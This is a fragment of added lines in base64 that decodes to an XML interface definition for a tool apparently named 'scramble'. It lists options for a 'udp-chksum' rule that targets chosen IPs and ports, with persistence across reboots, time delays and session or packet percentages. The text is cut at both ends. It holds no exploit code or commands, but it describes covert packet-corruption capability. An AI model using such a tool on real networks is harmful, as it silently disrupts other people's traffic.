+Y3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX3RkPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Q8
+L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQog
+ICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8
+ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9zZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+cGFyYW1fczwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNv
+bHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc208L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAg
+PHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5z
+Y3JhbWJsZV9wYXJhbV9wZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcDwv
+ZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcG08L2VsZW1lbnQ+DQogICAgICAg
+ICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+
+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9w
+YXJhbV9kaXI8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX2w8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX2g8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2Nv
+bHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAg
+ICAgIDwvY21kPg0KICAgICAgPGNtZCB0aXRsZT0idWRwLWNoa3N1bSI+DQogICAgICAgIDxoZWxw
+dGV4dD5DcmVhdGVzIGEgbmV3IHVkcC1jaGtzdW0gcnVsZSBiYXNlZCBvbiB0aGUgc3BlY2lmaWVk
+IGNyaXRlcmlhLjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxy
+ZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMTQ8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3By
+aW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAg
+IDwvb3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8
+YXR0cmlidXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAg
+IDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAg
+ICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U291cmNlIElQPC9uY3Vyc2VsYWJlbD4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJs
+ZV9jcmVhdGVfYXR0cmliXzM8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+U3RhcnQgU3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjM8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfY3JlYXRlX2F0dHJpYl80PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPkVuZCBTcmMgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NDwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIElQPC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NTwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+NjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRlc3RpbmF0aW9uIE1h
+c2s8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj42PC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5TdGFydCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAg
+ICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0K
+ICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRp
+dmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+Nzwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzg8L25jdXJzZWlkPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+RW5kIERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+
+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj44
+PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9j
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVf
+Y3JlYXRlX2F0dHJpYl85PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+UHJvdG9jb2w8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVy
+Pjk8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAg
+ICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgIDwvYXR0cmlidXRlcz4NCiAg
+ICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAg
+ICAgICAgIDxvcHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFn
+PSJlbiI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fZW48L25jdXJzZWlkPg0K
+ICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RW5hYmxlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4N
+CiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0
+dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGVzIHRoZSBydWxlIG9uIGNyZWF0
+aW9uPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icHMiPg0KICAgICAgICAg
+ICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BzPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPlBlcnNpc3Q8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAg
+IDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZh
+dWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRp
+dmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAg
+ICAgICAgPGhlbHB0ZXh0PkVuYWJsZSB0aGUgZmlsdGVyIHRvIHN1cnZpdmUgcmVib290cy48L2hl
+bHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1l
+dGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJyIj4NCiAgICAgICAgICAgICAgPGNh
+c2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD5zY3JhbWJsZV9wYXJhbV9yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVs
+PkF1dG8gUmVzdGFydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2
+YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjEwPC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+ICAgPGhlbHB0ZXh0PkF1dG9tYXRpY2FsbHkgcmUtZW5hYmxlIHRoZSBmaWx0ZXIgd2hlbiB0ZXJt
+aW5hdGlvbiBpcyByZWFjaGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9
+InRkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90ZDwvbmN1cnNlaWQ+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5UaW1lIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+
+DQogICAgICAgICAgICAgICAgPHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaW1lIGJlZm9yZSBmaWx0
+ZXIgYWZmZWN0cyBwYWNrZXRzLiAgVGhlIGZvcm1hdCBjYW4gYmUgc2Vjb25kcyBpLmUuIDM2MDAs
+IG9yIG9uZSBjaGFyYWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywgaG91cnMsIG1pbnV0ZXMsIGFu
+ZCBzZWNvbmRzIGkuZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0
+ZXIgZmxhZz0idCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vu
+c2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdDwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5UaW1lIER1cmF0aW9uPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJp
+bmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTU8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFy
+Z251bWJlcj4xMjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5EdXJhdGlv
+biBwYWNrZXRzIHdpbGwgYmUgYWZmZWN0ZWQgYnkgZmlsdGVyLiAgVGhlIGZvcm1hdCBjYW4gYmUg
+c2Vjb25kcyBpLmUuIDM2MDAsIG9yIG9uZSBjaGFyYWN0ZXIgc3BlY2lmaWVycyBmb3IgZGF5cywg
+aG91cnMsIG1pbnV0ZXMsIGFuZCBzZWNvbmRzIGkuZS4gMWQgMmggM20gNHMuPC9oZWxwdGV4dD4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAg
+ICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0ic2QiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX3BhcmFtX3NkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNlc3Np
+b24gRGVsYXk8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwv
+c2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjEzPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0
+ZXh0Pk51bWJlciBvZiBzZXNzaW9ucyB0byBpZ25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBh
+Y2tldHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icyI+DQogICAgICAg
+ICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5TZXNzaW9uIFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAg
+ICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVl
+PjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE0PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2Ygc2Vzc2lvbnMgZmlsdGVyIHdp
+bGwgYWZmZWN0LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNtIj4NCiAg
+ICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zbTwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5NYXggU2Vzc2lvbnM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAg
+ICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVl
+PjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE1PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk1heGltdW0gbnVtYmVyIG9mIHNlc3Npb24gdG8gYWZm
+ZWN0IGJlZm9yZSBmaWx0ZXIgaXMgdGVybWluYXRlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJwZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcGQ8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IERlbGF5PC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj4xNjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Yg
+cGFja2V0cyB0byBpZ25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMuPC9oZWxwdGV4
+dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4N
+CiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fcDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNr
+ZXQgUGVyY2VudGFnZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXpl
+PjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVl
+Pg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICAgIDxhcmdudW1iZXI+MTc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8
+aGVscHRleHQ+UGVyY2VudGFnZSBvZiBwYWNrZXRzIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0
+ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVy
+Pg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwbSI+DQogICAgICAgICAgICAgIDxjYXNl
+c2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+c2NyYW1ibGVfcGFyYW1fcG08L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+TWF4IFBhY2tldHM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4x
+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4N
